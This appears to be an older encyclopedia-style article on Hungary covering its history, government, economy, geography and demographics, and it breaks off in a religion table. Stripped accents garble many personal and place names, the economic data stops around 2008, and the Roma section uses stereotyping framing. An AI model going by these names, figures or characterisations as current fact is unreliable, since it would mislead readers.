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          Hungary is one of the oldest countries in Europe. It was founded in 896, before France and Germany became separate entities, and before the unification of Anglo-Saxon kingdoms. Medieval Hungary controlled more territory than medieval France, and the population of medieval Hungary was the third largest of any country in Europe. rpd was the Magyar leader whom sources name as the single leader who unified the Magyar tribes via the Covenant of Blood(Vrszerződs) forged one nation, thereafter known as the Hungarian nation and led the new nation to the territory of the Carpathian Basin in the 9th century. After an early Hungarian state was formed in this territory military power of the nation allowed the Hungarians to conduct a lot of successful fierce campaigns and raids as far as present-day Spain.A later defeat at the Battle of Lechfeld in 955 signaled an end to raids on foreign territories, and links between the tribes weakened. The ruling prince (fejedelem) Gza of the House of rpd, who was the ruler of only some of the united territory, but the nominal overlord of all seven Magyar tribes, intended to integrate Hungary into Christian (Western) Europe, rebuilding the state according to the Western political and social model. He established a dynasty by naming his son Vajk (later called Stephen) as his successor. This was contrary to the then dominant tradition of the succession of the eldest surviving member of the ruling family.
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          Hungary was established as a Christian kingdom under Stephen I of Hungary, who was crowned in December 1000 AD in the capital, Esztergom. He was the son of Gza and thus a descendant of rpd. By 1006, Stephen had solidified his power, eliminating all rivals who either wanted to follow the old pagan traditions or wanted an alliance with the orthodox Christian Byzantine Empire. Then he started sweeping reforms to convert Hungary into a feudal state, complete with forced Christianisation. What emerged was a strong kingdom that withstood attacks from German kings and Emperors, and nomadic tribes following the Hungarians from the East, integrating some of the latter into the population (along with Germans invited to Transylvania and present-day Slovakia, especially after 1242), and subjugating Croatia in 1102. King Andrew II. led crusade to Holy Land in 1217.=> Fifth Crusade. The Golden Bull, (in 1222), was the first constitution in continental Europe. In 1241-1242, this kingdom received a major blow in the form of the Mongol invasion of Europe: after the defeat of the Hungarian army in the Battle of Muhi, King Bla IV fled, and a large part (though not as great as suspected by historians earlier) of the population died (leading later to the invitation of settlers from neighbours in the West and South) in the ensuing destruction (Tatrjrs). Only strongly fortified cities and abbeys could withstand the assault. As a consequence, after the Mongols retreated, King Bla ordered the construction of stone castles, meant to be defence against a possible second Mongol invasion. Mongols returned to Hungary in 1286, but the new built stone-castle systems and new tactics (with large ratio of heavy calvary) stopped them. The invading Mongol force was defeated near Pest by the royal army of king Ladislaus IV. These castles proved to be very important later in the long struggle with the Ottoman Empire in the following centuries (from the late 14th century onwards), but their cost indebted the King to the major feudal landlords again, so the royal power reclaimed by Bla IV after his father King Andrs II weakened it (leading to the issue of the so called 'Arany Bulla' or Golden Bull, in 1222), was lost again.
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          rpd's direct descendants in the male line ruled the country until 1301. During the reigns of the Kings after the house of rpd, the Kingdom of Hungary reached its greatest extent, yet royal power was weakened as the major landlords greatly increased their influence. Meanwhile, the Ottoman Turks confronted the country ever more often. The second Hungarian king in the 'Anjou' Angevin line also descendant of rpd on the female line, Louis I the Great (I. or Nagy Lajos, king 1342-1382) extended his rule over territories from the Black Sea to the Adriatic Sea, and temporarily occupied the Kingdom of Naples (after his brother was murdered there by his wife, who was also his cousin). From 1370, the death of Casimir III the Great, he was also king of Poland. The alliance between Casimir and Charles I of Hungary, the father of Louis, was the start of a still lasting Polish-Hungarian friendship. Sigismund, a prince from the Luxembourg line succeeded to the throne by marrying Louis's daughter, Queen Mary. In 1433 he even became Holy Roman Emperor. The last strong king was the renaissance king Matthias Corvinus. Hungary was the first non-Italian country, where the renaissance appeared in Europe. Andras Hess set up a printing press in Buda in 1472. Matthias was the son of the feudal landlord and warlord John Hunyadi, who led the Hungarian troops in the 1456 Siege of Nndorfehrvr. Building on his fathers' vision, the aim of taking on the Ottoman Empire with a strong enough background, Matthias set out to build a great empire, expanding southward and northwest, while he also implemented internal reforms. His army called the 'Fekete Sereg' ( Black Army of Hungary) accomplished a series of victories also capturing the city of Vienna in 1485. In 1514, the weakened King Vladislaus II. faced a major peasant rebellion led by Gyrgy Dzsa, which was crushed barbarously by the nobles mainly by Jnos Szapolyai. As central rule degenerated, the stage was set for a defeat at the hands of the Ottoman Empire. In 1521, the strongest Hungarian fortress in the South Nndorfehrvr (modern Belgrade) fell to the Turks, and in 1526, the Hungarian army was destroyed in the Battle of Mohcs. Through the centuries the Kingdom of Hungary kept its old "constitution", which granted special "freedoms" or rights to the nobility and groups like the Saxons resident in Hungary or the Jassic people, and to free royal towns such as Buda, Kassa ( Koice), Pozsony (Bratislava), Kolozsvr ( Cluj-Napoca).


          


          Ottoman Conquest 1526-1699
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          After some 150 years of wars with the Hungarians and other states, the Turks conquered parts of Hungary, and continued their expansion until 1556. The Ottomans gained their first decisive victory over the Hungarian army at the Battle of Mohcs in 1526. The next decades were characterised by political chaos; the divided Hungarian nobility elected two kings simultaneously, 'Szapolyai Jnos' (1526-1540) and Ferdinand Habsburg (1527-1540), whose armed conflicts weakened the country further. With the conquest of Buda in 1541 by the Turks, Hungary fell into three parts. The north-western part see map) termed as Royal Hungary remained under the Habsburgs who ruled as Kings of Hungary. The eastern part of the kingdom ( Partium and Transylvania), in turn, became independent as the Principality of Transylvania,often under Turkish influence. The remaining central area (mostly present-day Hungary), including the capital of Buda was known as Ottoman Hungary. A large part of the area became devastated by permanent warfare. Most smaller settlements disappeared. The Turks were indifferent to the type of Christian religion of their subjects and the Habsburg counter-reformation measures could not reach this area. As a result, the majority of the population of the area became Protestant (Calvinist). The End of Ottoman Conquest, and Rkczi's war of independence against Habsburgs. In 1686, Austria-led Christian forces reconquered Buda, and in the next few years, all of the country except areas near Temesvr ( Timişoara). In the 1699 Treaty of Karlowitz these changes were officially recognized, and in 1718 the entire Kingdom of Hungary was restored from the Ottomans.
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          Pozsony (Bratislava) became the new capital (1536-1784), coronation town (1563-1830) and seat of the Diet (1536-1848) of Hungary. Nagyszombat( Trnava) in turn, became the religious centre in 1541. Parallelly, between 1604 and 1711, there was a series of anti-Habsburg (i.e. anti-Austrian) and anti-Catholic (requiring equal rights and freedom for all Christian religions) uprisings, which  with the exception of the last one  took place in Royal Hungary. The uprisings were usually organized from Transylvania. The last one was an uprising led by 'II. Rkczi Ferenc', who after the dethronement of the Habsburgs in 1707 at the Diet of nd took power as the "Ruling Prince" of Hungary. When Austrians defeated the uprising in 1711, Rkczi was in Poland. He later fled to France, finally Turkey, and lived to the end of his life (1735) in nearby Rodosto. Afterwards, to make further armed resistance impossible, the Austrians blew up some castles (most of the castles on the border between the now-reclaimed territories occupied earlier by the Ottomans and Royal Hungary), and allowed peasants to use the stones from most of the others as building material (the vgvrs among them).


          


          History of Hungary 1700-1918


          During the Napoleonic Wars and afterwards, the Hungarian Diet had not convened for decades. In the 1820s, the Emperor was forced to convene the Diet, and thus a Reform Period began. Nevertheless, its progress was slow, because the nobles insisted on retaining their privileges (no taxation, exclusive voting rights, etc.). Therefore the achievements were mostly of national character (e.g. introduction of Hungarian as the official language of the country, instead of the former Latin).
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          On March 15, 1848, mass demonstrations in Pest and Buda enabled Hungarian reformists to push through a list of 12 demands. Faced with revolution both at home and in Vienna, Austria first had to accept Hungarian demands. Later, under governor Lajos Kossuth and the first Prime minister, Lajos Batthyny, the House of Habsburg was dethroned and the form of government was changed to create the first Republic of Hungary. After the Austrian revolution was suppressed, Franz Joseph replaced his mentally retarded uncle Ferdinand I as Emperor. The Habsburg Ruler and his advisors skillfully manipulated the Croatian, Serbian and Romanian peasantry, led by priests and officers firmly loyal to the Habsburgs, and induced them to rebel against the Hungarian government. The Hungarians were supported by the vast majority of the Slovak, German and Rusyn nationalities and by all the Jews of the kingdom, as well as by a large number of Polish, Austrian and Italian volunteers. Some members of the nationalities gained coveted positions within the Hungarian Army, like General Jnos Damjanich, an ethnic Serb who became a Hungarian national hero through his command of the 3rd Hungarian Army Corps. Initially, the Hungarian forces (Honvdsg) defeated Austrian armies. To counter the successes of the Hungarian revolutionary army, Franz Joseph asked for help from the "Gendarme of Europe," Czar Nicholas I, whose Russian armies invaded Hungary. The huge army of the Russian Empire and the remnants of the Austrian forces proved too powerful for the Hungarian army, and General Artr Grgey surrendered in August 1849. Julius Freiherr von Haynau, the leader of the Austrian army, then became governor of Hungary for a few months and on October 6, ordered the execution of 13 leaders of the Hungarian army as well as Prime Minister Batthyny. Lajos Kossuth escaped into exile.
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          Following the war of 1848-49, the whole country was in "passive resistance". Archduke Albrecht von Habsburg was appointed governor of the Kingdom of Hungary, and this time was remembered for Germanization pursued with the help of Czech officers.


          Due to external and internal problems, reforms seemed inevitable to secure the integrity of the Habsburg Empire. Major military defeats, like the Battle of Kniggrtz (1866), forced the Emperor to concede internal reforms. To appease Hungarian separatism, the Emperor made a deal with Hungary, negotiated by Ferenc Dek, called the Austro-Hungarian Compromise of 1867, by which the dual Monarchy of Austria-Hungary came into existence. The two countries were governed separately with a common ruler and common foreign and military policies. The first prime minister of Hungary after the Compromise was Count Gyula Andrssy. The Hungarian Constitution was restored, and Franz Joseph was crowned as King of Hungary. The era witnessed an impressive economic development. The formerly backward Hungarian economy become a relatively modern and industrialized by the turn of the century, although agriculture remained fairly dominant. Many of the state institutions and the administrative system of Hungary were established during this period. However, Magyars represented a minority of the population: according to the 1787 data, the population of the Kingdom of Hungary numbered 2,322,000 Hungarians (29%) and 5,681,000 non-Hungarians (71%). In 1809, the population numbered 3,000,000 Hungarians (30%) and 7,000,000 non-Hungarians (70%). As an increasingly intense Magyarization policy was implemented after 1867, the census in 1910 (excluding Croatia), recorded the following distribution of population Hungarian 54.5%, Romanian 16.1%, Slovak 10.7%, and German 10.4%.The largest religious denomination was the Roman Catholic (49.3%), followed by the Calvinist (14.3%), Greek Orthodox (12.8%), Greek Catholic (11.0%), Lutheran (7.1%), and Jewish (5.0%) religions. In 1910, 6.37% of the population were eligible to vote in elections due to census.


          In First World War Austria-Hungary was fighting on the side of Germany, Bulgaria and Turkey. With great difficulty, the Central Powers, as they were called, conquered Serbia and Romania but could not make significant progress against Italy. By 1918, the economic situation had deteriorated, uprisings in the army had become commonplace, and Entente troops had landed in Greece. In October 1918, the personal union with Austria was dissolved.


          


          Between the two world wars (1918-1941)
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          In 1918, as a result of defeat in World War I, the Austro-Hungarian Monarchy collapsed. On October 31, 1918, the success of the Aster Revolution in Budapest brought the liberal count Mihly Krolyi to power as Prime-Minister. By February 1919 the government had lost all popular support, having failed on domestic and military fronts. On March 21, after the Entente military representative demanded more territorial concessions from Hungary, Krolyi resigned. The Communist Party of Hungary, led by Bla Kun, came to power and proclaimed the Hungarian Soviet Republic. The Communists  "The Reds"  came to power largely thanks to being the only group with an organized fighting force, and they promised that Hungary would defend its territory (possibly with the help of the Soviet Red Army). The Communists also promised equality and social justice. Initially, Kun's regime achieved some impressive military successes: the Hungarian Red Army, under the lead of the genius strategist, Colonel Aurl Stromfeld, ousted Czech troops from the north and planned to march against the Romanian army in the east. In terms of domestic policy, the Communist government nationalized industrial and commercial enterprises, socialized housing, transport, banking, medicine, cultural institutions, and all landholdings of more than 400,000 square metres. Still, the popular support of the Communists proved to be short lived. In the aftermath of a coup attempt, the government took a series of actions called the Red Terror, murdering several hundred people, which alienated much of the population. The Soviet Red Army was never able to aid the new Hungarian republic. Although it did not lose any battles, the Hungarian Red Army gave up land under pressure from the Entente. In the face of domestic backlash and an advancing Romanian force, Bla Kun and most of his comrades fled to Austria, while Budapest was occupied on August 6. All these events, and in particular the final military defeat, led to a deep feeling of dislike among the general population against the Soviet Union (which had not kept its promise to offer military assistance) and the Jews (since many members of Kun's government were Jewish, making it easy to blame the Jews for the government's mistakes). The new fighting force in Hungary were the Conservative counter-revolutionaries  the "Whites". These, who had been organizing in Vienna and established a counter-government in Szeged, assumed power, led by Istvn Bethlen, a Transylvanian aristocrat, and Mikls Horthy, the former commander in chief of the Austro-Hungarian Navy. Starting in Western Hungary and spreading throughout the country, a White Terror began by other half-regular and half-militarist detachments (as the police power crashed, there were no serious national regular forces and authorities), and many Communists and other leftists were executed without trial. Radical Whites launched pogroms against the Jews, displayed as the cause of all the difficulties of Hungary. The leaving Romanian army pillaged the country: livestock, machinery and agricultural products were carried to Romania in hundreds of freight cars. The estimated property damage of their activity was so much that the international peace conference in 1919 did not require Hungary to pay war redemption to Romania. On November 16, with the consent of Romanian forces, Horthy's army marched into Budapest. His government gradually restored security, stopped terror, and set up authorities, but thousands of sympathizers of the Krolyi and Kun regimes were imprisoned. Radical political movements were suppressed. In March, the parliament restored the Hungarian monarchy but postponed electing a king until civil disorder had subsided. Instead, Miklos Horthy was elected Regent and was empowered, among other things, to appoint Hungary's Prime Minister, veto legislation, convene or dissolve the parliament, and command the armed forces.


          Hungary's signing of the Treaty of Trianon on June 4, 1920, ratified the country's dismemberment. The territorial provisions of the treaty, which ensured continued discord between Hungary and its neighbors, required Hungary to surrender more than two-thirds of its pre-war lands, along ethnic lines (see picture above). However, nearly one-third of the 10 million ethnic Hungarians found themselves outside the diminished homeland. The country's ethnic composition was left almost homogeneous, Hungarians constituting about 90% of the population, Germans made up about 6%, and Slovaks, Croats, Romanians, Jews and Gypsies accounted for the remainder. New international borders separated Hungary's industrial base from its sources of raw materials and its former markets for agricultural and industrial products. Hungary lost 84% of its timber resources, 43% of its arable land, and 83% of its iron ore. Because most of the country's pre-war industry was concentrated near Budapest, Hungary retained about 51% of its industrial population, 56% of its industry, 82% of its heavy industry, and 70% of its banks. Horthy appointed Count Pl Teleki as Prime Minister in July 1920. His right-wing government issued a numerus clausus law, limiting admission of "political insecure elements" (these were often Jews) to universities and, in order to quiet rural discontent, took initial steps toward fulfilling a promise of major land reform by dividing about 3,850km from the largest estates into smallholdings. Teleki's government resigned, however, after, Charles IV, unsuccessfully attempted to retake Hungary's throne in March 1921. King Charles's return produced split parties between conservatives who favored a Habsburg restoration and nationalist right-wing radicals who supported election of a Hungarian king. Count Istvn Bethlen, a non-affiliated right-wing member of the parliament, took advantage of this rift forming a new Party of Unity under his leadership. Horthy then appointed Bethlen prime minister. Charles IV died soon after he failed a second time to reclaim the throne in October 1921. (For more detail on Charles's attempts to retake the throne, see Charles IV of Hungary's conflict with Mikls Horthy.)
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          As prime minister, Bethlen dominated Hungarian politics between 1921 and 1931. He fashioned a political machine by amending the electoral law, providing jobs in the expanding bureaucracy to his supporters, and manipulating elections in rural areas. Bethlen restored order to the country by giving the radical counterrevolutionaries payoffs and government jobs in exchange for ceasing their campaign of terror against Jews and leftists. In 1921, he made a deal with the Social Democrats and trade unions (called Bethlen-Peyer Pact), agreeing, among other things, to legalize their activities and free political prisoners in return for their pledge to refrain from spreading anti-Hungarian propaganda, calling political strikes, and organizing the peasantry. Bethlen brought Hungary into the League of Nations in 1922 and out of international isolation by signing a treaty of friendship with Italy in 1927. The revision of the Treaty of Trianon rose to the top of Hungary's political agenda and the strategy employed by Bethlen consisted by strengthening the economy and building relations with stronger nations. Revision of the treaty had such a broad backing in Hungary that Bethlen used it, at least in part, to deflect criticism of his economic, social, and political policies. The Great Depression induced a drop in the standard of living and the political mood of the country shifted further toward the right. In 1932 Horthy appointed a new prime-minister, Gyula Gmbs, that changed the course of Hungarian policy towards closer cooperation with Germany and started an effort to magyarize the few remaining ethnic minorities in Hungary. Gmbs signed a trade agreement with Germany that drew Hungary's economy out of depression but made Hungary dependent on the German economy for both raw materials and markets. Adolf Hitler appealed to Hungarian desires for territorial revisionism, while extreme right wing organizations, like the Arrow Cross party, increasingly embraced Nazi policies, including those related to Jews. In an attempt to "take the wind out of the sails" of these groups and weaken their anti-Jewish appeals, the government passed the First Jewish Law in 1938. The law established a quote system to limit Jewish involvement in the Hungarian economy, while maintaining an unclear definition of the term "Jew." Imrdys attempts to improve Hungarys diplomatic relations with the United Kingdom initially made him very unpopular with Germany and Italy. Undoubtedly aware of Germany's Anschluss with Austria in March, he realized that he could not afford to alienate Germany and Italy on a long term basis; in the autumn of 1938 his foreign policy became very much pro-German and pro-Italian. Intent on amassing a base of power in Hungarian right wing politics, Imrdy began to suppress political rivals, so the increasingly influential Arrow Cross Party was harassed, and eventually banned by Imrdys administration. As Imrdy drifted further to the right, he proposed that the government be reorganized along totalitarian lines and drafted a harsher Second Jewish Law. The Parliament under the new government of Pl Teleki approved the Second Jewish Law in 1939, which greatly restricted Jewish involvement in the economy, culture, and society and, significantly, defined Jews by race instead of religion. This definition altered the status of those who had formerly converted from Judaism to Christianity.


          


          Hungary in World War II (1941-1945)


          


          After being awarded by the Germans and Italians part of southern Czechoslovakia and Subcarpathia in the First Vienna Award of 1938, and then northern Transylvania in the Second Vienna Award of 1940, in 1941 Hungary participated in their first military maneuvers on the side of the Axis. Thus, Hungary was part of the invasion of Yugoslavia, gaining some more territory but effectively joining the Axis powers in the process (showing his non-agreement, prime minister Pl Teleki committed suicide). On 22 June 1941, Germany invaded the Soviet Union using the code name Operation Barbarossa. Hungary joined the German effort and declared war on the Soviet Union on 26 June, and entered World War II on the side of the Axis. In late 1941, the Hungarian troops on the Eastern Front experienced success at the Battle of Uman. By 1943, after the Hungarian Second Army suffered extremely heavy losses at the river Don, the Hungarian government sought to negotiate a surrender with the Allies. On 19 March 1944, as a result of this duplicity, German troops quietly occupied Hungary in what was known as Operation Margarethe. But, by now it was clear that the Hungarians were Germany's "unwilling satellite". On 15 October 1944, Horthy made a token effort to disengage Hungary from the war. This time the Germans launched Operation Panzerfaust and Horthy was replaced by a puppet government under the pro-German Prime Minister Ferenc Szlasi. Szlasi and his pro-Nazi Arrow Cross Party remained loyal to the Germans until the end of the war. In late 1944, Hungarian troops on the Eastern Front again experienced success at the Battle of Debrecen. But this was followed immediately by the Soviet invasion of Hungary and the Battle of Budapest. During the German occupation in May-June 1944, the Arrow Cross Party and Hungarian police deported nearly 440,000 Jews, mostly to Auschwitz. Over 400,000 Hungarian Jews were murdered during the Holocaust, as well as tens of thousands of Romani people. Hundreds of Hungarian people were also executed by the Arrow Cross Party for sheltering Jews. The war left Hungary devastated destroying over 60% of the economy and causing huge loss of life. On 13 February 1945, the Hungarian capital city surrendered unconditionally. On 8 May 1945, World War II in Europe officially ended.


          


          Communist era (1947-1989)


          
            [image: Statue Park]

            
              Statue Park
            

          


          


          Following the fall of Nazi Germany, Soviet troops occupied all of the country and through their influence Hungary gradually became a communist satellite state of the Soviet Union. After 1948, Communist leader Mtys Rkosi established Stalinist rule in the country complete with forced collectivization and planned economy. The rule of the Rkosi government was nearly unbearable for Hungary's war-torn citizens. This led to the 1956 Hungarian Revolution and Hungary's temporary withdrawal from the Warsaw Pact. The Soviets retaliated massively with military force, sending in over 150,000 troops and 2,500 tanks. Nearly a quarter of a million people left the country during the brief time that the borders were open in 1956. From the 1960s through the late 1980s, Hungary was often satirically referred to as " the happiest barrack" within the Eastern bloc. This was under the autocratic rule of its controversial communist leader, Jnos Kdr. The last Soviet soldier left the country in 1991 thus ending Soviet military presence in Hungary. With the Soviet Union gone the transition to a market economy began.


          


          Hungarian Republic (1989-)


          In June 1987 Kroly Grsz took over as premier. In January 1988 all restrictions were lifted on foreign travel. In March demonstrations for democracy and civil rights brought 15,000 onto the streets. In May, after Kdrs forced retirement, Grsz was named party secretary general. Under Grsz, Hungary began moving towards full democracy, change accelerated under the impetus of other party reformers such as Imre Pozsgay and Rezső Nyers. Also in June 1988, 30,000 demonstrated against Romanias plans to demolish Transsylvanian villages.


          In February, 1989 the Communist Partys Central Committee, responding to public dissatisfaction, announced it would permit a multi-party system in Hungary and hold free elections. In March, for the first time in decades, the government declared the anniversary of the 1848 Revolution a national holiday. Opposition demonstrations filled the streets of Budapest with more than 75,000 marchers. Grsz met Mikhail Gorbachev in Moscow, who condoned Hungarys moves toward a multi-party system and promised that the USSR would not interfere in Hungarys internal affairs. In May, Hungary began taking down its barbed wire fence along the Austrian border  the first tear in the Iron Curtain. June brought the reburial of Prime Minister Nagy, executed after the 1956 Revolution, drawing a crowd of 250,000 at the Heroes Square. The last speaker, 26-year-old Viktor Orbn publicly called for Soviet troops to leave Hungary. In July U.S. President George Bush visited Hungary. In September Foreign Minister Gyula Horn announced that East German refugees in Hungary would not be repatriated but would instead be allowed to go to the West. The resulting exodus shook East Germany and hastened the fall of the Berlin Wall. On October 23, Mtys Szűrs declares Hungary a republic.


          At a party congress in October 1989 the Communists agreed to give up their monopoly on power, paving the way for free elections in March 1990. The partys name was changed from the Hungarian Socialist Workers Party to simply the Hungarian Socialist Party ( MSZP) and a new programme advocating social democracy and a free-market economy was adopted. This was not enough to shake off the stigma of four decades of autocratic rule, however, and the 1990 election was won by the centrist Hungarian Democratic Forum ( MDF), which advocated a gradual transition towards capitalism. The social-democratic Alliance of Free Democrats ( SZDSZ), which had called for much faster change, came second and the Socialist Party trailed far behind. As Gorbachev looked on, Hungary changed political systems with scarcely a murmur and the last Soviet troops left Hungary in June 1991.


          In coalition with two smaller parties, the MDF provided Hungary with sound government during its hard transition to a full market economy. Antall died in December 1993 and was replaced by Interior Minister Pter Boross.


          The economic changes of the past few years have resulted in declining living standards for most people in Hungary. In 1991 most state subsidies were removed, leading to a severe recession exacerbated by the fiscal austerity necessary to reduce inflation and stimulate investment. This made life difficult for many Hungarians, and in the May 1994 elections the Hungarian Socialist Party led by former Communists won an absolute majority in parliament. This in no way implied a return to the past, and party leader Gyula Horn was quick to point out that it was his party that had initiated the whole reform process in the first place (as foreign minister in 1989 Horn played a key role in opening Hungary's border with Austria). All three main political parties advocate economic liberalisation and closer ties with the West. In March 1996, Horn was re-elected as Socialist Party leader and confirmed that he would push ahead with the partys economic stabilisation programme.


          In 1997 in a national referendum 85% voted in favour of Hungary joining the NATO. A year later the European Union began negotiations with Hungary on full membership. In 1999 Hungary joined NATO. Hungary voted in favour of joining the EU, and joined in 2004.


          


          Politics
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          The President of the Republic, elected by the Parliament every five years, has a largely ceremonial role, choosing the dates of elections.


          The Prime Minister is elected by Parliament and can only be removed by a constructive vote of no confidence. The prime minister selects Cabinet ministers and has the exclusive right to dismiss them. Each Cabinet nominee appears before one or more parliamentary committees in open hearings and must be formally approved by the President.


          A unicameral, 386-member National Assembly (the Orszggyűls) is the highest organ of state authority and initiates and approves legislation sponsored by the Prime Minister. National Parliamentary elections are held every four years; the next are due to be held in 2010.


          An 11-member Constitutional Court has power to challenge legislation on grounds of unconstitutionality.


          


          Regions, counties, and subregions
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          Administratively, Hungary is divided into 19 counties. In addition, the capital city (fővros), Budapest, is independent of any county government. The counties and the capital are the 20 NUTS third-level units of Hungary.


          The counties are further subdivided into 173 subregions (kistrsgek), and Budapest is its own subregion. Since 1996, the counties and City of Budapest have been grouped into 7 regions for statistical and development purposes. These seven regions constitute NUTS' second-level units of Hungary.


          There are also 23 towns with county rights (singular megyei jog vros), sometimes known as "urban counties" in English (although there is no such term in Hungarian). The local authorities of these towns have extended powers, but these towns belong to the territory of the respective county instead of being independent territorial units.
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          Economy
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          Hungary held its first multi-party elections in 1990, following four decades of Communist rule, and has succeeded in transforming its centrally planned economy into a market economy. Both foreign ownership of and foreign investment in Hungarian firms are widespread. The governing coalition, comprising the Hungarian Socialist Party and the liberal Alliance of Free Democrats, prevailed in the April 2006 general election. Hungary needs to reduce government spending and further reform its economy in order to meet the 2012-13 target date for accession to the euro zone.
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          Hungary continues to demonstrate economic growth as one of the newest member countries of the European Union (since 2004). The private sector accounts for over 80% of GDP. Hungary gets nearly one third of all foreign direct investment flowing into Central Europe, with cumulative foreign direct investment totalling more than US$23 billion since 1989. It enjoys strong trade, fiscal, monetary, investment, business, and labor freedoms. The top income tax rate is fairly high, but corporate taxes are low. Inflation is low, it was on the rise in the past few years, but it is now starting to regulate. Investment in Hungary is easy, although it is subject to government licensing in security-sensitive areas. Foreign capital enjoys virtually the same protections and privileges as domestic capital. The rule of law is strong, a professional judiciary protects property rights, and the level of corruption is low. Total government spending is high, and many state-owned enterprises have not been privatized. Business licensing is also a problem, as regulations are not applied consistently.


          


          According to the conservative think tank Heritage Foundation, Hungary's economy was 67.2 percent "free" in 2008, which makes it the world's 43rd-freest economy. Its overall score is 1 percent lower than last year, partially reflecting new methodological detail. Hungary is ranked 25th out of 41 countries in the European region, and its overall score is slightly lower than the regional average.


          The Hungarian sovereign debt's credit rating is BBB+ as of July 2006, making Hungary the only other country in the EU apart from Poland not to enjoy an A grade score (2006). Foreign investors' trust in the Hungarian economy has declined, as they deem that the stringency measures planned in the second half of 2006 are not satisfactory, their focus being mainly on increasing the income side rather than curbing government spendings. Economic reform measures such as health care reform, tax reform, and local government financing are being addressed by the present government.


          General government net lending was 9.2 percent in 2006, instead of estimated 10.1 percent (but still the largest in Europe) due to the austerity program of the government, and was 5.5 percent in 2007, and recent estimates of the government says 4 percent in 2008.


          Because of the large austerity program, the real growth of the incomes was negative in 2007 at -5.5 percent, and the estimates say 1 percent increase in 2008. The GDP growth was only 1.4 percent in 2007, much lower than in 2006, due to the decreased government spending, in first quarter of 2008 the GDP growth was 1.7 percent, slightly stronger than last quarter of 2007 (0.9 percent), and some estimates say growth will pick up in range of 2.8-4.0 percent in the second half of 2008, due to starting of large investments, as 2400 megawatt Emfesz gas-fired power plant (the largest gas-fired power plant in Europe) next to the Ukrainian border (Nyrmeggyes), worth of 1.5 billion euros, a Mercedes-Benz car plant in Kecskemt, worth of 800 million euros (the largest investment in Hungary, since fall of communism), and Eurovegas casino-city next to the Slovakian and Austrian border (Bezenye), worth of 700 million euros. And much higher agricultural production in 2008, compared to the 2007 drought, will also help quick pick up in GDP growth.


          


          Geography
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          Landscape
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          Slightly more than one half of Hungary's landscape consists of flat to rolling plains of the Carpathian Basin: the most important plain regions include the Little Hungarian Plain in the west, and the Great Hungarian Plain in the southeast. The highest elevation above sea level on the latter is only 183 metres.


          Transdanubia is a primarily hilly region with a terrain varied by low mountains. These include the very eastern stretch of the Alps, Alpokalja, in the west of the country, the Transdanubian Medium Mountains, in the central region of Transdanubia, and the Mecsek Mountains and Villny Mountains in the south. The highest point of the area is the rott-kő in the Alps, at 882 metres.


          The highest mountains of the country are located in the Carpathians: these lie in the northern parts, in a wide band along the Slovakian border (highest point: the Kkes at 1,014m (3327 ft)).


          Hungary is divided in two by its main waterway, the Danube (Duna); other large rivers include the Tisza and Drva, while Transdanubia contains Lake Balaton, a major body of water. The largest thermal lake in the world, Lake Hvz ( Hvz Spa), is located in Hungary. The second largest lake in the Carpathian Basin is the artificial Lake Tisza (Tisza-t).


          Phytogeographically, Hungary belongs to the Central European province of the Circumboreal Region within the Boreal Kingdom. According to the WWF, the territory of Hungary belongs to the ecoregion of Pannonian mixed forests.


          


          Climate


          Hungary has a Continental climate , with hot summers with low overall humidity levels but frequent rainshowers and frigid to cold snowy winters. Average annual temperature is 9.7 C (49.5 F). Temperature extremes are about 42C (110F) in the summer and 29C (20F) in the winter. Average temperature in the summer is 27 to 35C (81 to 95F), and in the winter it is 0 to 15C (32 to 5F). The average yearly rainfall is approximately 600 millimeters (24 in). A small, southern region of the country near Pcs enjoys a reputation for a Mediterranean climate, but in reality it is only slightly warmer than the rest of the country and still receives snow during the winter.


          


          Military


          The Military of Hungary, or "Hungarian Armed Forces" currently has two branches, the " Hungarian Ground Force" and the " Hungarian Air Force." The Hungarian Ground Force (or Army) is known as the "Corps of Homeland Defenders" (Honvdsg). This term was originally used to refer to the revolutionary army established by Lajos Kossuth and the National Defence Committee of the Revolutionary Hungarian Diet in September 1848 during the Hungarian Revolution.The term Honvdsg is the name of the military of Hungary since 1848 referring to its purpose (vd in Honvd) of defending the country. The Hungarian Army is called Magyar Honvdsg. The rank equal to a Private is a Honvd. The Hungarian Air Force is the air force branch of the Hungarian Army.


          


          Demographics


          


          Hungary's population by ethnicity
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          For 95% of the population, the mother language is Hungarian, a Finno-Ugric language unrelated to any neighbouring language and distantly related to Finnish and Estonian. The main Minority group are the Roma (2.1%). Other groups include: Germans (1.2%), Slovaks (0.4%), Croats (0.2%), Romanians (0.1%), Ukrainians (0.1%), and Serbs (0.1%).


          
            	The Roma minority

          


          The real number of Roma people, referred to as "Gypsies" or "Gipsies" in the English-speaking world, in Hungary is a disputed question. In the 2001 census, only 190,000 people declared themselves Roma, but experts and Roma organisations estimate that there are between 450,000 and 1,000,000 Roma living in Hungary. Since World War II, the size of the Roma population has increased rapidly. Today every fifth or sixth newborn Hungarian child belongs to the Roma minority. Estimates based on demographic trends claim that in 2050 around 20% (19.62% or 20.9%) of the population (1.2 million people) will be Roma.


          Counties with the highest concentration of Roma minority are Borsod-Abaj-Zempln and Szabolcs-Szatmr-Bereg (officially 45,525 and 25,612 people in 2001), but there are other regions with a traditionally high Roma population like parts of Baranya and the middle reaches of the Tisza valley. Although they were traditionally living in the countryside, under general urbanization trends from the second half of the 20th century many of them moved into the cities. There is a sizeable Roma minority living in Budapest (12,273 people in 2001, officially).


          Romas (called cignyok or romk in Hungarian) suffer particular problems in Hungary. Rampant poverty and a subsequent lack of education are the main origin of the bad position of the Romas. Racial prejudice compounds the issue. The traditional lifestyle of the Romas is often an obstacle to integration into society and it is a source of conflicts, especially in the villages. As a result, school segregation is especially acute, with many Roma children sent to classes for pupils with learning disabilities. Slightly more than 80% of Roma children complete primary education, but only one third continue studies into the intermediate (secondary) level. This is far lower than the more than 90% proportion of children of non-Roma families who continue studies at an intermediate level. The situation is made still worse by the fact that a large proportion of young Roma are qualified in subjects that provide them only limited chances for employment. Less than 1% of Roma hold higher educational certificates. Their low status on the job market and higher unemployment rates cause poverty, widespread social problems and crime.


          


          Ethnic Hungarians in neighbouring countries


          For historical reasons (see Treaty of Trianon), significant Hungarian minority populations can be found in the surrounding countries, notably in Romania (in Transylvania), Slovakia, Serbia (in Vojvodina), Ukraine (in Transcarpathia), Croatia (mainly Slavonia) and Austria (in Burgenland); Slovenia is also host to a number of ethnic Hungarians, where Hungarian language has an official status. See also:


          
            	Hungarian minority in Romania


            	Hungarians in Vojvodina


            	Hungarians in Slovakia

          


          


          Religion in Hungary


          
            
              Religious affiliation in Hungary (2001)
            

            
              	Denominations

              	Population

              	% of total
            


            
              	Christianity

              	7,584,115

              	74.4
            


            
